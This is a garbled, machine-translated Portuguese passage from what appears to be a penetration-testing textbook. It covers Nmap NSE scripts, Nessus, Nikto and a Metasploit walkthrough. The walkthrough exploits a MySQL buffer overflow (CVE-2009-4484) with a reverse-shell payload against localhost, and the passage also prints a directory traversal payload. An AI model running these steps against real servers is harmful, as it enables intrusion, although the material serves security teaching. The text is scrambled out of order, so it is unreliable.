usar o NSE. Existem quase 400 scripts</p><p>Nmap (396 para ser exato na última contagem), então você certamente encontrará alguns que serão úteis! Você pode ver todos os</p><p>scripts NSE atuais e a documentação que os acompanha em http://nmap.org/nsedoc/. Aqui estão alguns scripts Nmap aplicáveis</p><p>que você pode usar em servidores web.</p><p>rede (a máquina do seu colega de trabalho) e uma de uma máquina fora da rede (a sua máquina doméstica).</p><p>Você teria então três varreduras para comparar os resultados. Não é fundamental que você faça isso para o</p><p>nosso trabalho, mas é importante perceber que você pode obter resultados diferentes dependendo da rede a</p><p>partir da qual você digitaliza.</p><p>80/tcp abrir sincronização http | http-enum: | /</p><p>ícones/: Ícones e</p><p>imagens | | /imagens/: Ícones e imagens | | /robots.txt:</p><p>Arquivo de robôs | | /sw/auth/login.aspx: Citrix WebTop | | /</p><p>images/outlook.jpg: Outlook Web Access | | /nfservlets/</p><p>servlet/SPSRouterServlet/: netForensics | |_ |_ /nfservlets/servlet/SPSRouterServlet/:</p><p>netForensics Outra verificação comum de servidor web que é muito útil é verificar se a</p><p>máquina de destino é vulnerável a logins anônimos do Microsoft FrontPage na porta 80 usando o script http-frontpage-</p><p>login . Um pensamento que você pode estar pensando é: “Achei que o FrontPage fosse apenas uma funcionalidade do</p><p>ambiente Windows”. Obviamente, isso é mais aplicável a ambientes Windows que executam o FrontPage, mas quando as extensões do FrontPage ainda eram</p><p>amplamente utilizadas, havia suporte para essa funcionalidade também em sistemas Linux.</p><p>As extensões do FrontPage não são mais suportadas pelo suporte da Microsoft, mas ainda são</p><p>Portas interessantes em 127.0.0.1: PORT STATE</p><p>SERVICE REASON</p><p>Machine Translated by Google</p><p>http://nmap.org/nsedoc/</p><p>nmap 127.0.0.1 -p 80 --script = http-frontpage-login</p><p>|</p><p>Profissional" /noexecute=optin /fastdetect</p><p>| Referências:</p><p>MOTIVO DO SERVIÇO DO ESTADO DO PORTO 80/</p><p>tcp open http syn-ack | http-frontpage-login:</p><p>| VULNERÁVEL:</p><p>nmap --script http-passwd --script-args http-passwd.root =/ 127.0.0.1</p><p>| Login anônimo da extensão Frontpage</p><p>| Estado: VULNERÁVEL</p><p>| Carga útil: "index.html?../../../../../boot.ini"</p><p>| Descrição:</p><p>| Imprimindo os primeiros 250 bytes: | [carregador de</p><p>inicialização] | tempo limite=30</p><p>|</p><p>padrão=multi(0)disco(0)rdisk(0)partição(1)\WINDOWS | [sistemas operacionais] |</p><p>_multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft</p><p>| Instalações padrão de versões mais antigas de extensões frontpage permitem</p><p>janelas</p><p>logins anônimos que podem levar ao comprometimento do servidor.</p><p>XP</p><p>|_ http://insecure.org/sploits/Microsoft.frontpage.insecurities.html O último exemplo de NSE incluído</p><p>aqui é para verificar se um servidor web é vulnerável à passagem de diretório, tentando recuperar o arquivo /etc/</p><p>passwd em um servidor web Linux ou o arquivo boot.ini em um servidor web Windows. Esta é uma vulnerabilidade</p><p>que permite que um aacker acesse recursos no sistema de arquivos do servidor web que não deveriam estar</p><p>acessíveis. Esse tipo de ataque será abordado com muito mais detalhes em um capítulo posterior, mas sua</p><p>funcionalidade tremenda é fazer com que o Nmap verifique essa vulnerabilidade durante a parte de invasão do</p><p>servidor web de nossa abordagem. Este é outro grande exemplo de descobertas feitas em uma única etapa, que</p><p>podem ser usadas posteriormente ao atacar alvos diferentes.</p><p>Este é um ótimo script NSE porque é difícil para scanners automatizados de aplicativos da web verificarem a passagem de</p><p>diretório no servidor da web. Um exemplo de saída que ilustra esta vulnerabilidade é apresentado aqui. 80/tcp abrir http | http-</p><p>passwd: passagem de diretório encontrada.</p><p>O exemplo de saída do http-frontpage-login é mostrado abaixo. Configurações padrão mais antigas de extensões</p><p>do FrontPage permitem que usuários remotos façam login anonimamente, o que pode levar ao comprometimento</p><p>total do servidor.</p><p>amplamente utilizado em servidores web mais antigos.</p><p>Nessus e Nikto são usados para verificar vulnerabilidades no servidor web.</p><p>As descobertas do Nmap provenientes da varredura de portas se vinculam diretamente às seções a seguir quando</p><p>Verificação de vulnerabilidades A</p><p>verificação de vulnerabilidades é o processo de detecção de pontos fracos na execução de serviços. Depois de</p><p>conhecer os detalhes do servidor web de destino, como endereço IP, portas abertas, serviços em execução e versões</p><p>desses serviços, você poderá verificar se há vulnerabilidades nesses serviços. Esta é a última etapa a ser executada</p><p>antes de explorar o servidor web.</p><p>Machine Translated by Google</p><p>http://insecure.org/sploits/Microsoft.frontpage.insecurities.html</p><p>Nesso</p><p>Os scanners de vulnerabilidade e os produtos antivírus são tão bons quanto as assinaturas que usam para verificação.</p><p>Se os plug-ins do seu scanner de vulnerabilidades estiverem desatualizados,</p><p>os resultados não serão 100% precisos.</p><p>Se os plug-ins sinalizarem algo como falso positivo, os resultados não serão 100% legítimos. Se os plug-ins não</p><p>detectarem uma vulnerabilidade real, os resultados não serão 100% legítimos. Tenho certeza que você já entendeu!</p><p>É fundamental que você entenda o lugar da verificação de vulnerabilidades no cenário total do hacking. Hackers</p><p>muito avançados não dependem de um scanner de vulnerabilidades para encontrar vulnerabilidades exploráveis; em</p><p>vez disso, eles realizam análises manuais para encontrar vulnerabilidades em pacotes de software e depois escrevem</p><p>seu próprio código de exploração. Isso está fora do escopo deste livro, mas para escalar a montanha do hacking de</p><p>elite, você precisará se sentir confortável com fuzzing, depuração, engenharia reversa, código shell personalizado e</p><p>exploração manual. Esses tópicos serão discutidos com mais detalhes no capítulo final deste livro para orientá-lo no</p><p>futuro.</p><p>Isso é muito semelhante ao modo como o antivírus funciona no seu computador doméstico. Quando um programa</p><p>tenta ser executado em seu computador, o produto antivírus verifica sua coleção de assinaturas reconhecidamente</p><p>maliciosas e determina se o programa é um vírus ou não.</p><p>A verificação de vulnerabilidades é mais comumente concluída usando ferramentas automatizadas carregadas com</p><p>uma coleção de assinaturas de exploração e difusão, ou plug-ins. Esses plug-ins investigam os serviços do computador</p><p>alvo para ver como eles reagirão a um possível ataque. Se um serviço reagir de uma determinada maneira, o scanner</p><p>de vulnerabilidade é acionado e sabe não apenas que o serviço é vulnerável, mas também a exploração exata que o</p><p>torna vulnerável.</p><p>Usaremos o Nessus, um dos scanners de vulnerabilidades mais populares disponíveis, para concluir a etapa de verificação de</p><p>vulnerabilidades. No entanto, os hackers que usam scanners de vulnerabilidade estarão sempre um passo atrás da vanguarda da</p><p>segurança, porque você terá que esperar que os fornecedores de scanners escrevam um plug-in que detectará qualquer nova</p><p>vulnerabilidade antes que ela seja corrigida. É muito comum ler sobre uma nova exploração e poucas horas depois ter um plug-in</p><p>Nessus implantado para verificar essa nova vulnerabilidade. Ainda assim, muitas vezes você lerá sobre a nova vulnerabilidade e o plug-</p><p>in Nessus correspondente na mesma história! Quando você usa a edição HomeFeed gratuita do Nessus, seus plug-ins terão um atraso</p><p>de 7 dias, portanto, seus resultados serão um pouco diferentes em comparação com a edição paga ProfessionalFeed do scanner para</p><p>as vulnerabilidades mais recentes.</p><p>Instalando o Nessus O</p><p>processo de instalação do Nessus é muito simples e, uma vez configurado, ele será executado como um serviço</p><p>persistente no BackTrack. Você pode baixar o instalador da versão inicial gratuita do Nessus em http://www.nessus.org</p><p>A versão ProfessionalFeed do Nessus custa aproximadamente US$ 1.500 por ano, mas você pode usar a versão</p><p>HomeFeed para avaliar seus próprios servidores pessoais. Se você pretende realizar uma verificação de vulnerabilidades</p><p>como parte de seu trabalho ou em qualquer lugar fora de sua rede pessoal, você precisa adquirir o código de ativação</p><p>do ProfessionalFeed.</p><p>Machine Translated by Google</p><p>http://www.nessus.org</p><p>Um lert</p><p>dpkg é um gerenciador de pacotes para Debian Linux para instalar e gerenciar pacotes individuais.</p><p>Você pode ter baixado uma versão diferente do instalador do Nessus, portanto, anote o nome exato do</p><p>instalador do Nessus que você baixou. Se não tiver certeza de qual versão do Nessus você precisa,</p><p>execute o comando lsb:release -a em um terminal BackTrack para recuperar os detalhes da versão do</p><p>sistema operacional. Você pode então escolher o instalador Nessus apropriado e usar esse arquivo.deb</p><p>no comando dkpg para instalar o Nessus.</p><p>Configurando o Nessus</p><p>Depois de instalar o Nessus, você deve iniciar o serviço antes de usar a ferramenta. Você só precisará emitir o</p><p>comando /etc/init.d/nessusd start em um terminal uma vez e então o Nessus será executado como um serviço</p><p>persistente em seu sistema. Depois que o serviço estiver em execução, as etapas a seguir apresentam como</p><p>configurar o Nessus.</p><p>1. Em um navegador, acesse https://127.0.0.1:8834/ para iniciar a configuração do Nessus</p><p>4. Faça login como usuário root após a conclusão da configuração.</p><p>diretório</p><p>3. Execute o comando dpkg –i Nessus-5.0.3-ubuntu910_i386.deb para instalar o Nessus</p><p>1. Salve o instalador do Nessus (arquivo .deb para BackTrack) no diretório raiz 2. Abra um</p><p>terminal e execute o comando ls e observe que o arquivo.deb está na raiz</p><p>Você deve escolher seu código de ativação com base no sistema operacional em que o serviço Nessus será</p><p>executado. Para este livro, você está usando uma máquina virtual de 32 bits do BackTrack 5 baseada no Ubuntu</p><p>(versão 10.04 no momento em que este livro foi escrito). Depois de selecionar a versão correta do sistema</p><p>operacional, seu código de ativação será enviado a você por e-mail. Guarde este e-mail em local seguro, pois você</p><p>precisará do código de ativação nas próximas etapas de configuração do Nessus . Um rápido resumo do processo</p><p>de instalação do Nessus é descrito nas etapas a seguir.</p><p>procedimento.</p><p>2. Quando solicitado, crie um usuário administrador Nessus . Para este livro, criaremos o usuário root com</p><p>uma senha toor.</p><p>3. Insira o código de ativação do HomeFeed em seu e-mail.</p><p>Alerta ÿ</p><p>Você deve usar https no URL para acessar o servidor Nessus, pois isso exige uma conexão segura.</p><p>Machine Translated by Google</p><p>verificação, selecione Verificação de rede interna para a Política de verificação e insira 127.0.0.1 como o destino</p><p>da verificação, conforme mostrado na Figura 2.2.</p><p>3. Clique no botão Criar verificação no canto inferior esquerdo da tela para iniciar a verificação no</p><p>alvo!</p><p>1. Clique no item de menu Verificações para abrir o menu de verificações.</p><p>2. Clique em Nova varredura para definir uma nova varredura, digite localhost check para o nome do</p><p>Executando o Nessus</p><p>Depois de fazer login no Nessus, a primeira tarefa é especificar quais plug-ins serão usados na verificação. Estaremos</p><p>realizando uma verificação segura em nosso host local, que inclui todos os plug-ins selecionados, mas não permitirá a</p><p>exploração real. Esta é uma ótima abordagem para uma verificação de prova de conceito e garante que teremos menos</p><p>interrupções na rede devido à exploração ativa. Siga estas etapas para configurar a política de verificação e a verificação real</p><p>no Nessus.</p><p>ÿ O servidor Nessus está sendo executado no host local (127.0.0.1) e na porta 8834; portanto, você</p><p>deve incluir: 8834 como parte da URL. ÿ O download dos plug-ins do Nessus e</p><p>a configuração inicial levarão de 5 a 6 minutos, dependendo da configuração do seu hardware. Não tenha</p><p>medo; O Nessus carregará muito mais rápido durante usos futuros!</p><p>Assim que a varredura for iniciada, a janela</p><p>Varreduras reportará o status em andamento, conforme mostrado na Figura 2.3.</p><p>FIGURA 2.2 Configurando a verificação de “verificação de host local” no Nessus.</p><p>Machine Translated by Google</p><p>Um</p><p>alerta Este é um bom momento para lembrá-lo de não usar o BackTrack como seu sistema operacional</p><p>diário. É ótimo no que faz (hackear!), mas não é uma boa opção para realizar serviços bancários on-</p><p>line, verificar seu e-mail ou conectar-se a redes não seguras. Aconselho você a sempre ter o</p><p>BackTrack disponível como uma máquina virtual, mas nunca confiar nele como sistema operacional</p><p>base.</p><p>Revendo os resultados do Nessus</p><p>Depois que o status da verificação for concluído, você poderá visualizar o relatório clicando no item de menu</p><p>Resultados , clicando no relatório de verificação do host local para abri-lo e clicando nos itens críticos roxos,</p><p>conforme mostrado na Figura 2.4.</p><p>sendo nosso sistema operacional.</p><p>A varredura de 127.0.0.1 estará repleta de vulnerabilidades sérias por causa do BackTrack</p><p>FIGURA 2.3 Confirmação de varredura no Nessus.</p><p>Machine Translated by Google</p><p>A visão resumida do relatório será classificada pela gravidade da vulnerabilidade, sendo</p><p>Crítica a mais grave. Os demais valores de gravidade são Alto, Médio, Baixo e Informativo.</p><p>Você pode detalhar com mais detalhes qualquer uma das vulnerabilidades clicando duas</p><p>vezes em uma das entradas do relatório, conforme mostrado na Figura 2.5.</p><p>FIGURA 2.4 Resumo do relatório no Nessus.</p><p>Machine Translated by Google</p><p>Nikto é um scanner de vulnerabilidades de código aberto, escrito em Perl e lançado originalmente no</p><p>final de 2001, que fornece varredura adicional de vulnerabilidades específicas para servidores web.</p><p>Ele verifica 6.400 arquivos e scripts potencialmente perigosos, 1.200 versões desatualizadas de</p><p>servidores e quase 300 problemas específicos de versões em servidores web.</p><p>Nikto está integrado ao BackTrack e é executado diretamente no terminal. Primeiro, você precisa navegar até</p><p>o diretório Nikto executando o comando cd /pentest/web/nikto em uma janela de terminal.</p><p>Existe até a funcionalidade de iniciar o Nikto automaticamente a partir do Nessus quando um</p><p>servidor web é encontrado. Estaremos executando o Nikto diretamente da linha de comando em um</p><p>terminal BackTrack, mas você pode pesquisar no blog do Nessus o artigo sobre como essas duas</p><p>ferramentas podem funcionar juntas de forma automatizada.</p><p>O identificador Common Vulnerability and Exposures (CVE) é especialmente valioso porque esses</p><p>IDs são usados para fazer a transição da verificação de vulnerabilidades do Nessus para a exploração</p><p>do Metasploit . Os identificadores CVE são compostos pelo ano em que a vulnerabilidade foi</p><p>descoberta e por um identificador exclusivo. Existem várias outras fontes de informações sobre os</p><p>CVEs encontrados durante a verificação do Nessus que você pode revisar. O site oficial do CVE está</p><p>em https://cve.mitre.org/ e há detalhes adicionais disponíveis em http://www.cvedetails.com/ onde</p><p>você pode assinar feeds RSS personalizados de acordo com sua preferência. Outro ótimo recurso</p><p>está em http://packetstormsecurity.com/ onde as divulgações completas de todas as vulnerabilidades</p><p>são catalogadas. Eu encorajo você a usar todos esses recursos enquanto trabalha na invasão de</p><p>servidores web!</p><p>Alternativamente, você pode iniciar uma janela de terminal diretamente no diretório Nikto a partir</p><p>do menu BackTrack clicando em Aplicativos ÿ BackTrack ÿ Avaliação de Vulnerabilidade ÿ</p><p>Avaliação de Aplicativo Web ÿ Scanners de Vulnerabilidade da Web ÿ Nikto como mostrado na</p><p>Figura 2.6.</p><p>FIGURA 2.6 Abrindo o Nikto no menu BackTrack.</p><p>FIGURA 2.5 Detalhes do relatório mostrando CVE no Nessus.</p><p>Nikto</p><p>Machine Translated by Google</p><p>https://cve.mitre.org/</p><p>http://packetstormsecurity.com/</p><p>perl nikto.pl -h 127.0.0.1 -p 1–500</p><p>+OSVDB-12184:</p><p>+ OSVDB-3233: /icons/README: Arquivo padrão do Apache encontrado. + /login.php: Página/</p><p>seção de login do administrador encontrada. + 6.456 itens verificados: 0 erro(s)</p><p>e 16 item(s) relatados no host remoto + Horário de término: 11/07/2012 09:27:23 (20 segundos)</p><p>/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: revela informações</p><p>potencialmente confidenciais por meio de certas solicitações HTTP que contêm strings QUERY específicas.</p><p>+ Servidor: Apache/2.2.14 (Ubuntu)</p><p>PHP</p><p>.</p><p>+ Cabeçalho x-powered-by recuperado: PHP/5.3.2-1ubuntu4.9 + Página raiz/redirecionamento</p><p>para: login.php + robots.txt contém 1 entrada que deve ser</p><p>visualizada manualmente.</p><p>+ OSVDB-561: /server-status: Revela informações do Apache. Comente</p><p>+ Apache/2.2.14 parece estar desatualizado (o atual é pelo menos Apache/2.2.19).</p><p>linha apropriada em httpd.conf ou restrinja o acesso aos hosts permitidos.</p><p>Apache 1.3.42 (versão final) e 2.0.64 também estão atuais.</p><p>+ OSVDB-3092: /login/: Isso pode ser interessante. .</p><p>+ Cabeçalho ETag encontrado no servidor, inode: 829490, tamanho: 26, mtime: 0x4c4799096fba4 + OSVDB-3268: /config/: Indexação</p><p>de diretório encontrada. + /config/: As informações de configuração podem estar</p><p>disponíveis remotamente.</p><p>+ OSVDB-3268: /icons/: Indexação de diretório encontrada.</p><p>+ OSVDB-3268: /doc/: Indexação de diretório encontrada.</p><p>+ OSVDB-3268: /docs/: Indexação de diretório encontrada.</p><p>+ OSVDB-48: /doc/: O diretório /doc/ é navegável. Pode ser /usr/doc.</p><p>+ OSVDB-3092: /CHANGELOG.txt: Um changelog foi encontrado.</p><p>A conclusão mais importante do resultado de Nikto são as entradas do Open Source Vulnerabilit</p><p>Database (OSVDB) que fornecem informações específicas sobre a descoberta de vulnerabilidades.</p><p>Esses identificadores são muito semelhantes aos identificadores CVE usados pelo Nessus e pelo</p><p>Metasploit . OSVDB é um projeto independente e de código aberto com o objetivo de fornecer</p><p>informações técnicas imparciais sobre mais de 90.000 vulnerabilidades relacionadas a mais de 70.000</p><p>produtos. Eu encorajo você a visitar http://osvdb.org para obter mais informações e recuperar detalhes</p><p>técnicos de suas descobertas do Nikto .</p><p>Teria sido tão simples especificar apenas a porta 80 para nossa varredura, pois já sabemos que esta</p><p>é a única porta que o DVWA está usando para comunicação via HTTP. Na verdade, se você não</p><p>especificar as portas para o Nikto verificar, ele irá verificar apenas a porta 80 por padrão. Como</p><p>esperado, Nikto fornece resultados resumidos de sua varredura em nosso servidor web DVWA.</p><p>Você deve sempre atualizar o Nikto executando o comando perl nikto.pl -update antes de usar o</p><p>scanner para garantir que você tenha as assinaturas de plug-in mais recentes. Você pode executar o</p><p>scanner em nosso host local com o seguinte comando, onde a opção -h é usada para definir nosso</p><p>endereço de destino (127.0.0.1) e a opção -p é usada para especificar quais portas queremos testar</p><p>(1-500).</p><p>Exploração</p><p>Exploração é o momento em que toda a coleta de informações, verificação de portas e verificação de</p><p>vulnerabilidades compensa e você obtém acesso não autorizado ou executa execução remota de</p><p>código na máquina de destino. Um dos objetivos da exploração da rede é obter</p><p>Machine Translated by Google</p><p>http://osvdb.org</p><p>o uso de uma função fraca conhecida (como strcpy na linguagem C), uma implementação</p><p>ruim ou um uso incorreto de uma linguagem compilada (como SQL) ou qualquer outro problema potencial que</p><p>um hacker possa atingir. ÿ Exploração: uma coleção de código</p><p>que entrega uma carga útil a um sistema de destino. ÿ Carga útil: o objetivo final de uma exploração</p><p>que resulta na execução de código malicioso no sistema visado. Algumas cargas populares incluem bind shell</p><p>( janela cmd no Windows ou shell no Linux), shell reverso (quando o computador vitimado faz uma</p><p>conexão com você, o que tem muito menos probabilidade de ser detectado), injeção VNC para permitir o</p><p>controle remoto da área de trabalho, e adicionar um administrador no sistema de destino.</p><p>Noções básicas do Metasploit</p><p>Seguiremos um processo leve que usa sete comandos do MSF para concluir nossa fase de exploração: 1. Pesquisa:</p><p>pesquisaremos todos os</p><p>exploits relacionados no banco de dados do MSF com base nos identificadores CVE relatados nos resultados</p><p>do Nessus .</p><p>2. Uso: Selecionaremos o exploit que melhor corresponde ao identificador CVE.</p><p>3. Mostrar cargas úteis: revisaremos as cargas disponíveis para a exploração selecionada.</p><p>Usaremos o Metasploit como nossa ferramenta de exploração preferida. Metasploit é uma estrutura de exploração</p><p>desenvolvida por HD Moore e é amplamente aceita como o principal kit de ferramentas de exploração de código aberto</p><p>disponível atualmente. O Metasploit Framework (MSF ou msf) fornece uma maneira estruturada de explorar sistemas</p><p>e permite que a comunidade de usuários desenvolva, teste, implante e compartilhe explorações entre si. Depois de</p><p>entender os fundamentos do MSF, você poderá usá-lo com eficácia durante todas as suas aventuras de hacking,</p><p>independentemente dos sistemas alvo. Metasploit é apenas uma parte de um capítulo deste livro, mas reserve um</p><p>tempo no futuro para se familiarizar mais com esta excelente estrutura de exploração.</p><p>todos nós trabalhamos com a mesma terminologia básica. ÿ</p><p>Vulnerabilidade: Uma fraqueza potencial no sistema alvo. Pode ser um patch faltando,</p><p>Antes de mergulharmos nas etapas reais de exploração, algumas definições para garantir que</p><p>direitos de nível administrativo na máquina de destino (servidor web em nosso mundo) e executar código. Quando isso</p><p>ocorre, o hacker tem controle total da máquina e fica livre para realizar qualquer ação, o que geralmente inclui adicionar</p><p>usuários, adicionar administradores, instalar ferramentas de hacking adicionais localmente naquela máquina para</p><p>penetrar ainda mais na rede (também conhecido como “pivotar”. ) e instalando código backdoor que permite conexões</p><p>persistentes a esta máquina explorada. Uma porta dos fundos persistente é como criar a chave de uma casa para</p><p>entrar, para que você possa parar de arrombar a janela do porão. É muito mais fácil usar uma chave e é menos</p><p>provável que você seja pego!</p><p>4. Definir carga útil: selecionaremos a carga útil desejada para o exploit selecionado.</p><p>5. Mostrar opções: revisaremos as opções necessárias que devem ser definidas como parte da carga</p><p>selecionada.</p><p>6. Definir opções: atribuiremos valor a todas as opções necessárias que devem estar presentes para</p><p>que a carga útil seja bem-sucedida.</p><p>7. Exploração: Em seguida, enviaremos nossa exploração bem elaborada para o sistema de destino.</p><p>Machine Translated by Google</p><p>Usar</p><p>Procurar</p><p>contra a vulnerabilidade apresentada aqui.</p><p>Use a classificação do exploit como um guia para qual exploit selecionar. Cada exploração terá uma das</p><p>sete classificações possíveis: excelente (melhor escolha), ótimo, bom, normal, médio, baixo e manual (pior</p><p>escolha). As explorações de classificação mais baixa têm maior probabilidade de travar o sistema alvo e</p><p>podem não ser capazes de entregar a carga selecionada. Temos apenas um exploit, com uma boa</p><p>classificação, que nos permitirá executar código remoto na máquina alvo.</p><p>Esta é uma exploração intermediária, pois a maioria das vulnerabilidades terá explorações excelentes ou</p><p>excelentes .</p><p>Uma</p><p>alerta Ao pensar em exploração, imagine que você está em uma grande aventura de caça. O</p><p>comando de busca é como revisar todos os animais possíveis que você poderia atingir em tal</p><p>aventura. Você quer caçar ursos, alces ou leões da montanha?</p><p>A primeira tarefa é encontrar explorações disponíveis no Metasploit que correspondam aos identificadores</p><p>CVE encontrados durante a verificação de vulnerabilidades com o Nessus. Procuraremos CVE 2009–4484</p><p>em nossa verificação de vulnerabilidade de verificação de host local emitindo o comando search 2009–</p><p>4484 no Metasploit. Esta vulnerabilidade tem como alvo a versão do MySQL que nosso servidor web está</p><p>executando, pois é vulnerável a vários buffer overflows baseados em pilha. Esta vulnerabilidade permite</p><p>que invasores remotos executem código arbitrário ou causem negação de serviço.</p><p>Os resultados desta pesquisa listarão todas as explorações disponíveis que o Metasploit pode usar</p><p>É uma boa prática atualizar o Metasploit quase diariamente, à medida que novos exploits são</p><p>desenvolvidos 24 horas por dia. O comando msfupdate atualizará toda a estrutura para que você tenha</p><p>certeza de que possui a melhor e mais recente versão do Metasploit.</p><p>Para começar, precisamos lançar o framework Metasploit . Isso é feito facilmente em um terminal</p><p>emitindo o comando msfconsole . Levará cerca de um minuto para carregar o Metasploit (especialmente</p><p>na primeira vez que você executá-lo), então não se assuste se parecer que nada está acontecendo. Todos</p><p>os comandos mostrados nesta seção são concluídos em uma janela de terminal no prompt msf > .</p><p>Depois de recuperar todos os exploits possíveis no Metasploit e decidir qual o melhor</p><p>MySQL</p><p>---- --------------- ---- ---------------</p><p>25/01/2010 bom simSSL</p><p>Nome Divulgação Data Classificação Descrição</p><p>exploit/linux/mysql/mysql_yassl_getname</p><p>================</p><p>Módulos correspondentes</p><p>CertDecoder::GetName Estouro de buffer</p><p>Machine Translated by Google</p><p>genérico/personalizado normal Carga útil personalizada generic/</p><p>debug_trap normal Genérico x86 Debug Trap generic/shell_bind_tcp normal Shell de comando</p><p>genérico, Bind TCP Inline generic/shell_reverse_tcp normal Shell de comando genérico, TCP reverso Inline generic/tight_loop normal</p><p>Genérico x86 Tight Loop linux/x86/adduser normal Linux Adicionar usuário linux/x86/chmod normal Linux Chmod linux/x86/exec normal Linux</p><p>Executar comando linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind TCP</p><p>Stager</p><p>Estágio (IPv6)</p><p>(IPv6)</p><p>linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter,</p><p>TCP reverso</p><p>linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP</p><p>linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP</p><p>Nome Divulgação Data Classificação Descrição</p><p>---- --------------- ----- -----------</p><p>===================</p><p>Cargas compatíveis</p><p>Em linha</p><p>(IPv6)</p><p>linux/x86/shell/bind_tcp Shell de comando normal do Linux, Bind TCP Stager linux/x86/shell/reverse_ipv6_tcp Shell de comando normal</p><p>do Linux, TCP reverso</p><p>Estágio (IPv6)</p><p>linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind</p><p>TCP Inline</p><p>linux/x86/shell/bind_ipv6_tcp Shell de comando normal do Linux, Bind TCP Stager</p><p>(IPv6)</p><p>linux/x86/shell_bind_tcp Shell de comando Linux normal, Bind TCP Inline linux/x86/shell_reverse_tcp Shell de comando Linux normal,</p><p>TCP reverso Inline linux/x86/shell_reverse_tcp2 Shell de comando Linux normal, TCP reverso - Metasm</p><p>Alerta O</p><p>comando de uso equivale a decidir que vamos caçar leões da montanha em nossa aventura de caça!</p><p>escolha para o seu alvo, você pode selecioná-lo emitindo o seguinte comando use . use exploit/linux/</p><p>mysql/mysql_yassl_getname Você receberá o seguinte prompt</p><p>sinalizando que o comando use foi executado com sucesso. exploração msf(mysql_yassl_getname) ></p><p>Mostrar cargas úteis</p><p>O comando show payloads exibe todas as cargas úteis possíveis que você pode escolher para serem a recompensa</p><p>quando a exploração for bem-sucedida. Observe que algumas das descrições da carga útil são agrupadas em uma</p><p>nova linha de texto.</p><p>Machine Translated by Google</p><p>Definir carga</p><p>útil Agora que você sabe quais cargas úteis estão disponíveis quando você explora a vulnerabilidade,</p><p>é hora de fazer a escolha da carga útil. No comando a seguir, selecionamos um shell reverso como</p><p>carga útil para que tenhamos acesso de linha de comando à máquina de destino. A conexão será</p><p>iniciada a partir da máquina explorada, portanto é menos provável que seja detectada por sistemas</p><p>de detecção de intrusões. Você define a carga útil com o comando set payload .</p><p>set payload generic/shell_reverse_tcp Você receberá</p><p>a seguinte mensagem de confirmação e um prompt sinalizando que o comando set payload foi executado com</p><p>sucesso. carga útil => exploração msf genérica/</p><p>shell_reverse_tcp (mysql_yassl_getname) ></p><p>Um</p><p>alerta O comando show payloads é como revisar todos os tipos de armas possíveis!</p><p>Uma rápida revisão das classificações dessas cargas úteis não nos dá nenhuma orientação sobre</p><p>qual delas selecionar, pois todas são normais. Isso está perfeitamente bem; poderíamos tentar essa</p><p>exploração várias vezes com cargas diferentes, se necessário.</p><p>Alerta</p><p>O comando definir carga útil é como selecionar um rifle de precisão para caçar nosso</p><p>leão da montanha. (Se você ainda não adivinhou, não sou um grande caçador. Mas fique</p><p>comigo porque a analogia é ouro puro!)</p><p>Mostrar opções</p><p>Cada exploração e carga terão opções específicas que precisam ser definidas para serem bem-</p><p>sucedidas. Na maioria dos casos, precisamos definir os endereços IP da máquina alvo e da nossa</p><p>máquina aacker. A máquina alvo é conhecida como host remoto (RHOST), enquanto a máquina</p><p>aacker é conhecida como host local (LHOST). O comando show options fornece os seguintes</p><p>detalhes tanto para a exploração quanto para a carga útil.</p><p>Nome Configuração Atual Obrigatório Descrição</p><p>RHOST sim O endereço de destino</p><p>Opções do módulo (exploit/linux/mysql/mysql_yassl_getname):</p><p>demonstração</p><p>Opções de carga útil (genérico/shell_reverse_tcp):</p><p>--------------------------------------</p><p>RPORT 3306 sim A porta de destino</p><p>Machine Translated by Google</p><p>Você pode emitir outro comando show options para garantir que tudo esteja configurado corretamente</p><p>antes de prosseguir.</p><p>Está confirmado que definimos todas as opções necessárias para a exploração e a carga útil.</p><p>Estamos quase lá!</p><p>Um</p><p>alerta O comando show options é como considerar quais suprimentos levaremos em nossa</p><p>aventura de caça. Precisamos selecionar um tipo de bala, um tipo de mira e o tamanho da mochila</p><p>que devemos levar na viagem.</p><p>Definir opção</p><p>Precisamos atribuir valores a todas as opções de exploração e carga útil necessárias que estão em branco por</p><p>padrão. Se você deixar algum deles em branco, sua exploração falhará porque não possui as informações</p><p>necessárias para ser concluída com êxito. Veremos tanto o RHOST quanto o LHOST para 127.0.0.1 porque</p><p>temos um ambiente independente. Na verdade, esses dois endereços IP seriam obviamente diferentes. Lembre-</p><p>se de que RHOST é a máquina alvo e LHOST é sua máquina hacker. Você pode emitir os comandos set RHOS</p><p>127.0.0.1 e set LHOST 127.0.0.1 conforme apresentado abaixo para definir essas duas opções.</p><p>Existem também duas opções necessárias na carga útil: LHOST e LPORT. Precisamos apenas definir o</p><p>LHOST na carga útil, pois é necessário para que esta carga seja bem-sucedida, e deixar o LPORT como 4444.</p><p>Existem duas opções obrigatórias neste módulo: RHOST e RPORT. Essas duas entradas determinam para</p><p>qual endereço e porta a exploração deve ser enviada. Definiremos a opção RHOST na próxima seção e</p><p>deixaremos o RPORT como está, para que ele use a porta 3306.</p><p>Opções do módulo (exploit/linux/mysql/mysql_yassl_getname): Nome Configuração Atual Obrigatória Descrição</p><p>RHOST => 127.0.0.1 definir LHOST</p><p>127.0.0.1 LHOST => 127.0.0.1</p><p>definir RHOST 127.0.0.1</p><p>LHOST 127.0.0.1 sim O endereço de escuta LPORT 4444 sim A porta de</p><p>escuta</p><p>--------------------------------------</p><p>LPORT 4444 sim A porta de escuta</p><p>LHOST sim O endereço de escuta</p><p>Nome Configuração Atual Obrigatório Descrição</p><p>--- --------------- -------- ------------</p><p>RHOST 127.0.0.1 sim O endereço de destino RPORT 3306 sim As opções</p><p>de carga útil da porta de destino (generic/shell_reverse_tcp):</p><p>Nome Configuração atual obrigatória Descrição</p><p>---- --------------- -------- -----------</p><p>Machine Translated by Google</p><p>Sessão 1 do shell de comando aberta (127.0.0.1:4444 -> 127.0.0.1:3306)</p><p>Explorar</p><p>Você fez sua lição de casa e chegou ao ponto em que, com um clique, terá controle total da</p><p>máquina 